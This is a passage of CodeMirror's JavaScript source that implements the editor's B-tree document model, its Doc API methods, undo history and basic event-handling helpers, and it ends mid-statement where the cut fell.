  function updateDoc(doc, change, markedSpans, estimateHeight) {
    function spansFor(n) {return markedSpans ? markedSpans[n] : null;}
    function update(line, text, spans) {
      updateLine(line, text, spans, estimateHeight);
      signalLater(line, "change", line, change);
    }
    function linesFor(start, end) {
      for (var i = start, result = []; i < end; ++i)
        result.push(new Line(text[i], spansFor(i), estimateHeight));
      return result;
    }

    var from = change.from, to = change.to, text = change.text;
    var firstLine = getLine(doc, from.line), lastLine = getLine(doc, to.line);
    var lastText = lst(text), lastSpans = spansFor(text.length - 1), nlines = to.line - from.line;

    // Adjust the line structure
    if (change.full) {
      doc.insert(0, linesFor(0, text.length));
      doc.remove(text.length, doc.size - text.length);
    } else if (isWholeLineUpdate(doc, change)) {
      // This is a whole-line replace. Treated specially to make
      // sure line objects move the way they are supposed to.
      var added = linesFor(0, text.length - 1);
      update(lastLine, lastLine.text, lastSpans);
      if (nlines) doc.remove(from.line, nlines);
      if (added.length) doc.insert(from.line, added);
    } else if (firstLine == lastLine) {
      if (text.length == 1) {
        update(firstLine, firstLine.text.slice(0, from.ch) + lastText + firstLine.text.slice(to.ch), lastSpans);
      } else {
        var added = linesFor(1, text.length - 1);
        added.push(new Line(lastText + firstLine.text.slice(to.ch), lastSpans, estimateHeight));
        update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));
        doc.insert(from.line + 1, added);
      }
    } else if (text.length == 1) {
      update(firstLine, firstLine.text.slice(0, from.ch) + text[0] + lastLine.text.slice(to.ch), spansFor(0));
      doc.remove(from.line + 1, nlines);
    } else {
      update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));
      update(lastLine, lastText + lastLine.text.slice(to.ch), lastSpans);
      var added = linesFor(1, text.length - 1);
      if (nlines > 1) doc.remove(from.line + 1, nlines - 1);
      doc.insert(from.line + 1, added);
    }

    signalLater(doc, "change", doc, change);
  }

  // The document is represented as a BTree consisting of leaves, with
  // chunk of lines in them, and branches, with up to ten leaves or
  // other branch nodes below them. The top node is always a branch
  // node, and is the document object itself (meaning it has
  // additional methods and properties).
  //
  // All nodes have parent links. The tree is used both to go from
  // line numbers to line objects, and to go from objects to numbers.
  // It also indexes by height, and is used to convert between height
  // and line object, and to find the total height of the document.
  //
  // See also http://marijnhaverbeke.nl/blog/codemirror-line-tree.html

  function LeafChunk(lines) {
    this.lines = lines;
    this.parent = null;
    for (var i = 0, height = 0; i < lines.length; ++i) {
      lines[i].parent = this;
      height += lines[i].height;
    }
    this.height = height;
  }

  LeafChunk.prototype = {
    chunkSize: function() { return this.lines.length; },
    // Remove the n lines at offset 'at'.
    removeInner: function(at, n) {
      for (var i = at, e = at + n; i < e; ++i) {
        var line = this.lines[i];
        this.height -= line.height;
        cleanUpLine(line);
        signalLater(line, "delete");
      }
      this.lines.splice(at, n);
    },
    // Helper used to collapse a small branch into a single leaf.
    collapse: function(lines) {
      lines.push.apply(lines, this.lines);
    },
    // Insert the given array of lines at offset 'at', count them as
    // having the given height.
    insertInner: function(at, lines, height) {
      this.height += height;
      this.lines = this.lines.slice(0, at).concat(lines).concat(this.lines.slice(at));
      for (var i = 0; i < lines.length; ++i) lines[i].parent = this;
    },
    // Used to iterate over a part of the tree.
    iterN: function(at, n, op) {
      for (var e = at + n; at < e; ++at)
        if (op(this.lines[at])) return true;
    }
  };

  function BranchChunk(children) {
    this.children = children;
    var size = 0, height = 0;
    for (var i = 0; i < children.length; ++i) {
      var ch = children[i];
      size += ch.chunkSize(); height += ch.height;
      ch.parent = this;
    }
    this.size = size;
    this.height = height;
    this.parent = null;
  }

  BranchChunk.prototype = {
    chunkSize: function() { return this.size; },
    removeInner: function(at, n) {
      this.size -= n;
      for (var i = 0; i < this.children.length; ++i) {
        var child = this.children[i], sz = child.chunkSize();
        if (at < sz) {
          var rm = Math.min(n, sz - at), oldHeight = child.height;
          child.removeInner(at, rm);
          this.height -= oldHeight - child.height;
          if (sz == rm) { this.children.splice(i--, 1); child.parent = null; }
          if ((n -= rm) == 0) break;
          at = 0;
        } else at -= sz;
      }
      // If the result is smaller than 25 lines, ensure that it is a
      // single leaf node.
      if (this.size - n < 25 &&
          (this.children.length > 1 || !(this.children[0] instanceof LeafChunk))) {
        var lines = [];
        this.collapse(lines);
        this.children = [new LeafChunk(lines)];
        this.children[0].parent = this;
      }
    },
    collapse: function(lines) {
      for (var i = 0; i < this.children.length; ++i) this.children[i].collapse(lines);
    },
    insertInner: function(at, lines, height) {
      this.size += lines.length;
      this.height += height;
      for (var i = 0; i < this.children.length; ++i) {
        var child = this.children[i], sz = child.chunkSize();
        if (at <= sz) {
          child.insertInner(at, lines, height);
          if (child.lines && child.lines.length > 50) {
            while (child.lines.length > 50) {
              var spilled = child.lines.splice(child.lines.length - 25, 25);
              var newleaf = new LeafChunk(spilled);
              child.height -= newleaf.height;
              this.children.splice(i + 1, 0, newleaf);
              newleaf.parent = this;
            }
            this.maybeSpill();
          }
          break;
        }
        at -= sz;
      }
    },
    // When a node has grown, check whether it should be split.
    maybeSpill: function() {
      if (this.children.length <= 10) return;
      var me = this;
      do {
        var spilled = me.children.splice(me.children.length - 5, 5);
        var sibling = new BranchChunk(spilled);
        if (!me.parent) { // Become the parent node
          var copy = new BranchChunk(me.children);
          copy.parent = me;
          me.children = [copy, sibling];
          me = copy;
        } else {
          me.size -= sibling.size;
          me.height -= sibling.height;
          var myIndex = indexOf(me.parent.children, me);
          me.parent.children.splice(myIndex + 1, 0, sibling);
        }
        sibling.parent = me.parent;
      } while (me.children.length > 10);
      me.parent.maybeSpill();
    },
    iterN: function(at, n, op) {
      for (var i = 0; i < this.children.length; ++i) {
        var child = this.children[i], sz = child.chunkSize();
        if (at < sz) {
          var used = Math.min(n, sz - at);
          if (child.iterN(at, used, op)) return true;
          if ((n -= used) == 0) break;
          at = 0;
        } else at -= sz;
      }
    }
  };

  var nextDocId = 0;
  var Doc = CodeMirror.Doc = function(text, mode, firstLine, lineSep) {
    if (!(this instanceof Doc)) return new Doc(text, mode, firstLine, lineSep);
    if (firstLine == null) firstLine = 0;

    BranchChunk.call(this, [new LeafChunk([new Line("", null)])]);
    this.first = firstLine;
    this.scrollTop = this.scrollLeft = 0;
    this.cantEdit = false;
    this.cleanGeneration = 1;
    this.frontier = firstLine;
    var start = Pos(firstLine, 0);
    this.sel = simpleSelection(start);
    this.history = new History(null);
    this.id = ++nextDocId;
    this.modeOption = mode;
    this.lineSep = lineSep;
    this.extend = false;

    if (typeof text == "string") text = this.splitLines(text);
    updateDoc(this, {from: start, to: start, text: text});
    setSelection(this, simpleSelection(start), sel_dontScroll);
  };

  Doc.prototype = createObj(BranchChunk.prototype, {
    constructor: Doc,
    // Iterate over the document. Supports two forms -- with only one
    // argument, it calls that for each line in the document. With
    // three, it iterates over the range given by the first two (with
    // the second being non-inclusive).
    iter: function(from, to, op) {
      if (op) this.iterN(from - this.first, to - from, op);
      else this.iterN(this.first, this.first + this.size, from);
    },

    // Non-public interface for adding and removing lines.
    insert: function(at, lines) {
      var height = 0;
      for (var i = 0; i < lines.length; ++i) height += lines[i].height;
      this.insertInner(at - this.first, lines, height);
    },
    remove: function(at, n) { this.removeInner(at - this.first, n); },

    // From here, the methods are part of the public interface. Most
    // are also available from CodeMirror (editor) instances.

    getValue: function(lineSep) {
      var lines = getLines(this, this.first, this.first + this.size);
      if (lineSep === false) return lines;
      return lines.join(lineSep || this.lineSeparator());
    },
    setValue: docMethodOp(function(code) {
      var top = Pos(this.first, 0), last = this.first + this.size - 1;
      makeChange(this, {from: top, to: Pos(last, getLine(this, last).text.length),
                        text: this.splitLines(code), origin: "setValue", full: true}, true);
      setSelection(this, simpleSelection(top));
    }),
    replaceRange: function(code, from, to, origin) {
      from = clipPos(this, from);
      to = to ? clipPos(this, to) : from;
      replaceRange(this, code, from, to, origin);
    },
    getRange: function(from, to, lineSep) {
      var lines = getBetween(this, clipPos(this, from), clipPos(this, to));
      if (lineSep === false) return lines;
      return lines.join(lineSep || this.lineSeparator());
    },

    getLine: function(line) {var l = this.getLineHandle(line); return l && l.text;},

    getLineHandle: function(line) {if (isLine(this, line)) return getLine(this, line);},
    getLineNumber: function(line) {return lineNo(line);},

    getLineHandleVisualStart: function(line) {
      if (typeof line == "number") line = getLine(this, line);
      return visualLine(line);
    },

    lineCount: function() {return this.size;},
    firstLine: function() {return this.first;},
    lastLine: function() {return this.first + this.size - 1;},

    clipPos: function(pos) {return clipPos(this, pos);},

    getCursor: function(start) {
      var range = this.sel.primary(), pos;
      if (start == null || start == "head") pos = range.head;
      else if (start == "anchor") pos = range.anchor;
      else if (start == "end" || start == "to" || start === false) pos = range.to();
      else pos = range.from();
      return pos;
    },
    listSelections: function() { return this.sel.ranges; },
    somethingSelected: function() {return this.sel.somethingSelected();},

    setCursor: docMethodOp(function(line, ch, options) {
      setSimpleSelection(this, clipPos(this, typeof line == "number" ? Pos(line, ch || 0) : line), null, options);
    }),
    setSelection: docMethodOp(function(anchor, head, options) {
      setSimpleSelection(this, clipPos(this, anchor), clipPos(this, head || anchor), options);
    }),
    extendSelection: docMethodOp(function(head, other, options) {
      extendSelection(this, clipPos(this, head), other && clipPos(this, other), options);
    }),
    extendSelections: docMethodOp(function(heads, options) {
      extendSelections(this, clipPosArray(this, heads, options));
    }),
    extendSelectionsBy: docMethodOp(function(f, options) {
      extendSelections(this, map(this.sel.ranges, f), options);
    }),
    setSelections: docMethodOp(function(ranges, primary, options) {
      if (!ranges.length) return;
      for (var i = 0, out = []; i < ranges.length; i++)
        out[i] = new Range(clipPos(this, ranges[i].anchor),
                           clipPos(this, ranges[i].head));
      if (primary == null) primary = Math.min(ranges.length - 1, this.sel.primIndex);
      setSelection(this, normalizeSelection(out, primary), options);
    }),
    addSelection: docMethodOp(function(anchor, head, options) {
      var ranges = this.sel.ranges.slice(0);
      ranges.push(new Range(clipPos(this, anchor), clipPos(this, head || anchor)));
      setSelection(this, normalizeSelection(ranges, ranges.length - 1), options);
    }),

    getSelection: function(lineSep) {
      var ranges = this.sel.ranges, lines;
      for (var i = 0; i < ranges.length; i++) {
        var sel = getBetween(this, ranges[i].from(), ranges[i].to());
        lines = lines ? lines.concat(sel) : sel;
      }
      if (lineSep === false) return lines;
      else return lines.join(lineSep || this.lineSeparator());
    },
    getSelections: function(lineSep) {
      var parts = [], ranges = this.sel.ranges;
      for (var i = 0; i < ranges.length; i++) {
        var sel = getBetween(this, ranges[i].from(), ranges[i].to());
        if (lineSep !== false) sel = sel.join(lineSep || this.lineSeparator());
        parts[i] = sel;
      }
      return parts;
    },
    replaceSelection: function(code, collapse, origin) {
      var dup = [];
      for (var i = 0; i < this.sel.ranges.length; i++)
        dup[i] = code;
      this.replaceSelections(dup, collapse, origin || "+input");
    },
    replaceSelections: docMethodOp(function(code, collapse, origin) {
      var changes = [], sel = this.sel;
      for (var i = 0; i < sel.ranges.length; i++) {
        var range = sel.ranges[i];
        changes[i] = {from: range.from(), to: range.to(), text: this.splitLines(code[i]), origin: origin};
      }
      var newSel = collapse && collapse != "end" && computeReplacedSel(this, changes, collapse);
      for (var i = changes.length - 1; i >= 0; i--)
        makeChange(this, changes[i]);
      if (newSel) setSelectionReplaceHistory(this, newSel);
      else if (this.cm) ensureCursorVisible(this.cm);
    }),
    undo: docMethodOp(function() {makeChangeFromHistory(this, "undo");}),
    redo: docMethodOp(function() {makeChangeFromHistory(this, "redo");}),
    undoSelection: docMethodOp(function() {makeChangeFromHistory(this, "undo", true);}),
    redoSelection: docMethodOp(function() {makeChangeFromHistory(this, "redo", true);}),

    setExtending: function(val) {this.extend = val;},
    getExtending: function() {return this.extend;},

    historySize: function() {
      var hist = this.history, done = 0, undone = 0;
      for (var i = 0; i < hist.done.length; i++) if (!hist.done[i].ranges) ++done;
      for (var i = 0; i < hist.undone.length; i++) if (!hist.undone[i].ranges) ++undone;
      return {undo: done, redo: undone};
    },
    clearHistory: function() {this.history = new History(this.history.maxGeneration);},

    markClean: function() {
      this.cleanGeneration = this.changeGeneration(true);
    },
    changeGeneration: function(forceSplit) {
      if (forceSplit)
        this.history.lastOp = this.history.lastSelOp = this.history.lastOrigin = null;
      return this.history.generation;
    },
    isClean: function (gen) {
      return this.history.generation == (gen || this.cleanGeneration);
    },

    getHistory: function() {
      return {done: copyHistoryArray(this.history.done),
              undone: copyHistoryArray(this.history.undone)};
    },
    setHistory: function(histData) {
      var hist = this.history = new History(this.history.maxGeneration);
      hist.done = copyHistoryArray(histData.done.slice(0), null, true);
      hist.undone = copyHistoryArray(histData.undone.slice(0), null, true);
    },

    addLineClass: docMethodOp(function(handle, where, cls) {
      return changeLine(this, handle, where == "gutter" ? "gutter" : "class", function(line) {
        var prop = where == "text" ? "textClass"
                 : where == "background" ? "bgClass"
                 : where == "gutter" ? "gutterClass" : "wrapClass";
        if (!line[prop]) line[prop] = cls;
        else if (classTest(cls).test(line[prop])) return false;
        else line[prop] += " " + cls;
        return true;
      });
    }),
    removeLineClass: docMethodOp(function(handle, where, cls) {
      return changeLine(this, handle, where == "gutter" ? "gutter" : "class", function(line) {
        var prop = where == "text" ? "textClass"
                 : where == "background" ? "bgClass"
                 : where == "gutter" ? "gutterClass" : "wrapClass";
        var cur = line[prop];
        if (!cur) return false;
        else if (cls == null) line[prop] = null;
        else {
          var found = cur.match(classTest(cls));
          if (!found) return false;
          var end = found.index + found[0].length;
          line[prop] = cur.slice(0, found.index) + (!found.index || end == cur.length ? "" : " ") + cur.slice(end) || null;
        }
        return true;
      });
    }),

    addLineWidget: docMethodOp(function(handle, node, options) {
      return addLineWidget(this, handle, node, options);
    }),
    removeLineWidget: function(widget) { widget.clear(); },

    markText: function(from, to, options) {
      return markText(this, clipPos(this, from), clipPos(this, to), options, options && options.type || "range");
    },
    setBookmark: function(pos, options) {
      var realOpts = {replacedWith: options && (options.nodeType == null ? options.widget : options),
                      insertLeft: options && options.insertLeft,
                      clearWhenEmpty: false, shared: options && options.shared,
                      handleMouseEvents: options && options.handleMouseEvents};
      pos = clipPos(this, pos);
      return markText(this, pos, pos, realOpts, "bookmark");
    },
    findMarksAt: function(pos) {
      pos = clipPos(this, pos);
      var markers = [], spans = getLine(this, pos.line).markedSpans;
      if (spans) for (var i = 0; i < spans.length; ++i) {
        var span = spans[i];
        if ((span.from == null || span.from <= pos.ch) &&
            (span.to == null || span.to >= pos.ch))
          markers.push(span.marker.parent || span.marker);
      }
      return markers;
    },
    findMarks: function(from, to, filter) {
      from = clipPos(this, from); to = clipPos(this, to);
      var found = [], lineNo = from.line;
      this.iter(from.line, to.line + 1, function(line) {
        var spans = line.markedSpans;
        if (spans) for (var i = 0; i < spans.length; i++) {
          var span = spans[i];
          if (!(lineNo == from.line && from.ch > span.to ||
                span.from == null && lineNo != from.line||
                lineNo == to.line && span.from > to.ch) &&
              (!filter || filter(span.marker)))
            found.push(span.marker.parent || span.marker);
        }
        ++lineNo;
      });
      return found;
    },
    getAllMarks: function() {
      var markers = [];
      this.iter(function(line) {
        var sps = line.markedSpans;
        if (sps) for (var i = 0; i < sps.length; ++i)
          if (sps[i].from != null) markers.push(sps[i].marker);
      });
      return markers;
    },

    posFromIndex: function(off) {
      var ch, lineNo = this.first;
      this.iter(function(line) {
        var sz = line.text.length + 1;
        if (sz > off) { ch = off; return true; }
        off -= sz;
        ++lineNo;
      });
      return clipPos(this, Pos(lineNo, ch));
    },
    indexFromPos: function (coords) {
      coords = clipPos(this, coords);
      var index = coords.ch;
      if (coords.line < this.first || coords.ch < 0) return 0;
      this.iter(this.first, coords.line, function (line) {
        index += line.text.length + 1;
      });
      return index;
    },

    copy: function(copyHistory) {
      var doc = new Doc(getLines(this, this.first, this.first + this.size),
                        this.modeOption, this.first, this.lineSep);
      doc.scrollTop = this.scrollTop; doc.scrollLeft = this.scrollLeft;
      doc.sel = this.sel;
      doc.extend = false;
      if (copyHistory) {
        doc.history.undoDepth = this.history.undoDepth;
        doc.setHistory(this.getHistory());
      }
      return doc;
    },

    linkedDoc: function(options) {
      if (!options) options = {};
      var from = this.first, to = this.first + this.size;
      if (options.from != null && options.from > from) from = options.from;
      if (options.to != null && options.to < to) to = options.to;
      var copy = new Doc(getLines(this, from, to), options.mode || this.modeOption, from, this.lineSep);
      if (options.sharedHist) copy.history = this.history;
      (this.linked || (this.linked = [])).push({doc: copy, sharedHist: options.sharedHist});
      copy.linked = [{doc: this, isParent: true, sharedHist: options.sharedHist}];
      copySharedMarkers(copy, findSharedMarkers(this));
      return copy;
    },
    unlinkDoc: function(other) {
      if (other instanceof CodeMirror) other = other.doc;
      if (this.linked) for (var i = 0; i < this.linked.length; ++i) {
        var link = this.linked[i];
        if (link.doc != other) continue;
        this.linked.splice(i, 1);
        other.unlinkDoc(this);
        detachSharedMarkers(findSharedMarkers(this));
        break;
      }
      // If the histories were shared, split them again
      if (other.history == this.history) {
        var splitIds = [other.id];
        linkedDocs(other, function(doc) {splitIds.push(doc.id);}, true);
        other.history = new History(null);
        other.history.done = copyHistoryArray(this.history.done, splitIds);
        other.history.undone = copyHistoryArray(this.history.undone, splitIds);
      }
    },
    iterLinkedDocs: function(f) {linkedDocs(this, f);},

    getMode: function() {return this.mode;},
    getEditor: function() {return this.cm;},

    splitLines: function(str) {
      if (this.lineSep) return str.split(this.lineSep);
      return splitLinesAuto(str);
    },
    lineSeparator: function() { return this.lineSep || "\n"; }
  });

  // Public alias.
  Doc.prototype.eachLine = Doc.prototype.iter;

  // Set up methods on CodeMirror's prototype to redirect to the editor's document.
  var dontDelegate = "iter insert remove copy getEditor constructor".split(" ");
  for (var prop in Doc.prototype) if (Doc.prototype.hasOwnProperty(prop) && indexOf(dontDelegate, prop) < 0)
    CodeMirror.prototype[prop] = (function(method) {
      return function() {return method.apply(this.doc, arguments);};
    })(Doc.prototype[prop]);

  eventMixin(Doc);

  // Call f for all linked documents.
  function linkedDocs(doc, f, sharedHistOnly) {
    function propagate(doc, skip, sharedHist) {
      if (doc.linked) for (var i = 0; i < doc.linked.length; ++i) {
        var rel = doc.linked[i];
        if (rel.doc == skip) continue;
        var shared = sharedHist && rel.sharedHist;
        if (sharedHistOnly && !shared) continue;
        f(rel.doc, shared);
        propagate(rel.doc, doc, shared);
      }
    }
    propagate(doc, null, true);
  }

  // Attach a document to an editor.
  function attachDoc(cm, doc) {
    if (doc.cm) throw new Error("This document is already in use.");
    cm.doc = doc;
    doc.cm = cm;
    estimateLineHeights(cm);
    loadMode(cm);
    if (!cm.options.lineWrapping) findMaxLine(cm);
    cm.options.mode = doc.modeOption;
    regChange(cm);
  }

  // LINE UTILITIES

  // Find the line object corresponding to the given line number.
  function getLine(doc, n) {
    n -= doc.first;
    if (n < 0 || n >= doc.size) throw new Error("There is no line " + (n + doc.first) + " in the document.");
    for (var chunk = doc; !chunk.lines;) {
      for (var i = 0;; ++i) {
        var child = chunk.children[i], sz = child.chunkSize();
        if (n < sz) { chunk = child; break; }
        n -= sz;
      }
    }
    return chunk.lines[n];
  }

  // Get the part of a document between two positions, as an array of
  // strings.
  function getBetween(doc, start, end) {
    var out = [], n = start.line;
    doc.iter(start.line, end.line + 1, function(line) {
      var text = line.text;
      if (n == end.line) text = text.slice(0, end.ch);
      if (n == start.line) text = text.slice(start.ch);
      out.push(text);
      ++n;
    });
    return out;
  }
  // Get the lines between from and to, as array of strings.
  function getLines(doc, from, to) {
    var out = [];
    doc.iter(from, to, function(line) { out.push(line.text); });
    return out;
  }

  // Update the height of a line, propagating the height change
  // upwards to parent nodes.
  function updateLineHeight(line, height) {
    var diff = height - line.height;
    if (diff) for (var n = line; n; n = n.parent) n.height += diff;
  }

  // Given a line object, find its line number by walking up through
  // its parent links.
  function lineNo(line) {
    if (line.parent == null) return null;
    var cur = line.parent, no = indexOf(cur.lines, line);
    for (var chunk = cur.parent; chunk; cur = chunk, chunk = chunk.parent) {
      for (var i = 0;; ++i) {
        if (chunk.children[i] == cur) break;
        no += chunk.children[i].chunkSize();
      }
    }
    return no + cur.first;
  }

  // Find the line at the given vertical position, using the height
  // information in the document tree.
  function lineAtHeight(chunk, h) {
    var n = chunk.first;
    outer: do {
      for (var i = 0; i < chunk.children.length; ++i) {
        var child = chunk.children[i], ch = child.height;
        if (h < ch) { chunk = child; continue outer; }
        h -= ch;
        n += child.chunkSize();
      }
      return n;
    } while (!chunk.lines);
    for (var i = 0; i < chunk.lines.length; ++i) {
      var line = chunk.lines[i], lh = line.height;
      if (h < lh) break;
      h -= lh;
    }
    return n + i;
  }


  // Find the height above the given line.
  function heightAtLine(lineObj) {
    lineObj = visualLine(lineObj);

    var h = 0, chunk = lineObj.parent;
    for (var i = 0; i < chunk.lines.length; ++i) {
      var line = chunk.lines[i];
      if (line == lineObj) break;
      else h += line.height;
    }
    for (var p = chunk.parent; p; chunk = p, p = chunk.parent) {
      for (var i = 0; i < p.children.length; ++i) {
        var cur = p.children[i];
        if (cur == chunk) break;
        else h += cur.height;
      }
    }
    return h;
  }

  // Get the bidi ordering for the given line (and cache it). Returns
  // false for lines that are fully left-to-right, and an array of
  // BidiSpan objects otherwise.
  function getOrder(line) {
    var order = line.order;
    if (order == null) order = line.order = bidiOrdering(line.text);
    return order;
  }

  // HISTORY

  function History(startGen) {
    // Arrays of change events and selections. Doing something adds an
    // event to done and clears undo. Undoing moves events from done
    // to undone, redoing moves them in the other direction.
    this.done = []; this.undone = [];
    this.undoDepth = Infinity;
    // Used to track when changes can be merged into a single undo
    // event
    this.lastModTime = this.lastSelTime = 0;
    this.lastOp = this.lastSelOp = null;
    this.lastOrigin = this.lastSelOrigin = null;
    // Used by the isClean() method
    this.generation = this.maxGeneration = startGen || 1;
  }

  // Create a history change event from an updateDoc-style change
  // object.
  function historyChangeFromChange(doc, change) {
    var histChange = {from: copyPos(change.from), to: changeEnd(change), text: getBetween(doc, change.from, change.to)};
    attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);
    linkedDocs(doc, function(doc) {attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);}, true);
    return histChange;
  }

  // Pop all selection events off the end of a history array. Stop at
  // a change event.
  function clearSelectionEvents(array) {
    while (array.length) {
      var last = lst(array);
      if (last.ranges) array.pop();
      else break;
    }
  }

  // Find the top change event in the history. Pop off selection
  // events that are in the way.
  function lastChangeEvent(hist, force) {
    if (force) {
      clearSelectionEvents(hist.done);
      return lst(hist.done);
    } else if (hist.done.length && !lst(hist.done).ranges) {
      return lst(hist.done);
    } else if (hist.done.length > 1 && !hist.done[hist.done.length - 2].ranges) {
      hist.done.pop();
      return lst(hist.done);
    }
  }

  // Register a change in the history. Merges changes that are within
  // a single operation, ore are close together with an origin that
  // allows merging (starting with "+") into a single event.
  function addChangeToHistory(doc, change, selAfter, opId) {
    var hist = doc.history;
    hist.undone.length = 0;
    var time = +new Date, cur;

    if ((hist.lastOp == opId ||
         hist.lastOrigin == change.origin && change.origin &&
         ((change.origin.charAt(0) == "+" && doc.cm && hist.lastModTime > time - doc.cm.options.historyEventDelay) ||
          change.origin.charAt(0) == "*")) &&
        (cur = lastChangeEvent(hist, hist.lastOp == opId))) {
      // Merge this change into the last event
      var last = lst(cur.changes);
      if (cmp(change.from, change.to) == 0 && cmp(change.from, last.to) == 0) {
        // Optimized case for simple insertion -- don't want to add
        // new changesets for every character typed
        last.to = changeEnd(change);
      } else {
        // Add new sub-event
        cur.changes.push(historyChangeFromChange(doc, change));
      }
    } else {
      // Can not be merged, start a new event.
      var before = lst(hist.done);
      if (!before || !before.ranges)
        pushSelectionToHistory(doc.sel, hist.done);
      cur = {changes: [historyChangeFromChange(doc, change)],
             generation: hist.generation};
      hist.done.push(cur);
      while (hist.done.length > hist.undoDepth) {
        hist.done.shift();
        if (!hist.done[0].ranges) hist.done.shift();
      }
    }
    hist.done.push(selAfter);
    hist.generation = ++hist.maxGeneration;
    hist.lastModTime = hist.lastSelTime = time;
    hist.lastOp = hist.lastSelOp = opId;
    hist.lastOrigin = hist.lastSelOrigin = change.origin;

    if (!last) signal(doc, "historyAdded");
  }

  function selectionEventCanBeMerged(doc, origin, prev, sel) {
    var ch = origin.charAt(0);
    return ch == "*" ||
      ch == "+" &&
      prev.ranges.length == sel.ranges.length &&
      prev.somethingSelected() == sel.somethingSelected() &&
      new Date - doc.history.lastSelTime <= (doc.cm ? doc.cm.options.historyEventDelay : 500);
  }

  // Called whenever the selection changes, sets the new selection as
  // the pending selection in the history, and pushes the old pending
  // selection into the 'done' array when it was significantly
  // different (in number of selected ranges, emptiness, or time).
  function addSelectionToHistory(doc, sel, opId, options) {
    var hist = doc.history, origin = options && options.origin;

    // A new event is started when the previous origin does not match
    // the current, or the origins don't allow matching. Origins
    // starting with * are always merged, those starting with + are
    // merged when similar and close together in time.
    if (opId == hist.lastSelOp ||
        (origin && hist.lastSelOrigin == origin &&
         (hist.lastModTime == hist.lastSelTime && hist.lastOrigin == origin ||
          selectionEventCanBeMerged(doc, origin, lst(hist.done), sel))))
      hist.done[hist.done.length - 1] = sel;
    else
      pushSelectionToHistory(sel, hist.done);

    hist.lastSelTime = +new Date;
    hist.lastSelOrigin = origin;
    hist.lastSelOp = opId;
    if (options && options.clearRedo !== false)
      clearSelectionEvents(hist.undone);
  }

  function pushSelectionToHistory(sel, dest) {
    var top = lst(dest);
    if (!(top && top.ranges && top.equals(sel)))
      dest.push(sel);
  }

  // Used to store marked span information in the history.
  function attachLocalSpans(doc, change, from, to) {
    var existing = change["spans_" + doc.id], n = 0;
    doc.iter(Math.max(doc.first, from), Math.min(doc.first + doc.size, to), function(line) {
      if (line.markedSpans)
        (existing || (existing = change["spans_" + doc.id] = {}))[n] = line.markedSpans;
      ++n;
    });
  }

  // When un/re-doing restores text containing marked spans, those
  // that have been explicitly cleared should not be restored.
  function removeClearedSpans(spans) {
    if (!spans) return null;
    for (var i = 0, out; i < spans.length; ++i) {
      if (spans[i].marker.explicitlyCleared) { if (!out) out = spans.slice(0, i); }
      else if (out) out.push(spans[i]);
    }
    return !out ? spans : out.length ? out : null;
  }

  // Retrieve and filter the old marked spans stored in a change event.
  function getOldSpans(doc, change) {
    var found = change["spans_" + doc.id];
    if (!found) return null;
    for (var i = 0, nw = []; i < change.text.length; ++i)
      nw.push(removeClearedSpans(found[i]));
    return nw;
  }

  // Used both to provide a JSON-safe object in .getHistory, and, when
  // detaching a document, to split the history in two
  function copyHistoryArray(events, newGroup, instantiateSel) {
    for (var i = 0, copy = []; i < events.length; ++i) {
      var event = events[i];
      if (event.ranges) {
        copy.push(instantiateSel ? Selection.prototype.deepCopy.call(event) : event);
        continue;
      }
      var changes = event.changes, newChanges = [];
      copy.push({changes: newChanges});
      for (var j = 0; j < changes.length; ++j) {
        var change = changes[j], m;
        newChanges.push({from: change.from, to: change.to, text: change.text});
        if (newGroup) for (var prop in change) if (m = prop.match(/^spans_(\d+)$/)) {
          if (indexOf(newGroup, Number(m[1])) > -1) {
            lst(newChanges)[prop] = change[prop];
            delete change[prop];
          }
        }
      }
    }
    return copy;
  }

  // Rebasing/resetting history to deal with externally-sourced changes

  function rebaseHistSelSingle(pos, from, to, diff) {
    if (to < pos.line) {
      pos.line += diff;
    } else if (from < pos.line) {
      pos.line = from;
      pos.ch = 0;
    }
  }

  // Tries to rebase an array of history events given a change in the
  // document. If the change touches the same lines as the event, the
  // event, and everything 'behind' it, is discarded. If the change is
  // before the event, the event's positions are updated. Uses a
  // copy-on-write scheme for the positions, to avoid having to
  // reallocate them all on every rebase, but also avoid problems with
  // shared position objects being unsafely updated.
  function rebaseHistArray(array, from, to, diff) {
    for (var i = 0; i < array.length; ++i) {
      var sub = array[i], ok = true;
      if (sub.ranges) {
        if (!sub.copied) { sub = array[i] = sub.deepCopy(); sub.copied = true; }
        for (var j = 0; j < sub.ranges.length; j++) {
          rebaseHistSelSingle(sub.ranges[j].anchor, from, to, diff);
          rebaseHistSelSingle(sub.ranges[j].head, from, to, diff);
        }
        continue;
      }
      for (var j = 0; j < sub.changes.length; ++j) {
        var cur = sub.changes[j];
        if (to < cur.from.line) {
          cur.from = Pos(cur.from.line + diff, cur.from.ch);
          cur.to = Pos(cur.to.line + diff, cur.to.ch);
        } else if (from <= cur.to.line) {
          ok = false;
          break;
        }
      }
      if (!ok) {
        array.splice(0, i + 1);
        i = 0;
      }
    }
  }

  function rebaseHist(hist, change) {
    var from = change.from.line, to = change.to.line, diff = change.text.length - (to - from) - 1;
    rebaseHistArray(hist.done, from, to, diff);
    rebaseHistArray(hist.undone, from, to, diff);
  }

  // EVENT UTILITIES

  // Due to the fact that we still support jurassic IE versions, some
  // compatibility wrappers are needed.

  var e_preventDefault = CodeMirror.e_preventDefault = function(e) {
    if (e.preventDefault) e.preventDefault();
    else e.returnValue = false;
  };
  var e_stopPropagation = CodeMirror.e_stopPropagation = function(e) {
    if (e.stopPropagation) e.stopPropagation();
    else e.cancelBubble = true;
  };
  function e_defaultPrevented(e) {
    return e.defaultPrevented != null ? e.defaultPrevented : e.returnValue == false;
  }
  var e_stop = CodeMirror.e_stop = function(e) {e_preventDefault(e); e_stopPropagation(e);};

  function e_target(e) {return e.target || e.srcElement;}
  function e_button(e) {
    var b = e.which;
    if (b == null) {
      if (e.button & 1) b = 1;
      else if (e.button & 2) b = 3;
      else if (e.button & 4) b = 2;
    }
    if (mac && e.ctrlKey && b == 1) b = 3;
    return b;
  }

  // EVENT HANDLING

  // Lightweight event framework. on/off also work on DOM nodes,
  // registering native DOM handlers.

  var on = CodeMirror.on = function(emitter, type, f) {
    if (emitter.addEventListener)
      emitter.addEventListener(type, f, false);
    else if (emitter.attachEvent)
      emitter.attachEvent("on" + type, f);
    else {
      var map = emitter._handlers || (emitter._handlers = {});
      var arr = map[type] || (map[type] = []);
      arr.push(f);
    }
  };

  var noHandlers = []
